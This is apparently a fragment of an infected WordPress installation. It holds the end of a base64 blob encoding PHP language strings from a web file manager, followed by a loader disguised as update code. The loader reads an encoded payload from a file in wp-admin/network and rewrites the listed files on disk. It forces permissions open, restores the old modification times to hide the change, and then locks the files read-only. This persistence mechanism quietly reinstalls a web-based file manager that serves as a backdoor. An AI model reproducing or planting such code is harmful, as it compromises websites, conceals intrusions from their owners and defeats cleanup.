nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-admin/network/site-guests.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } }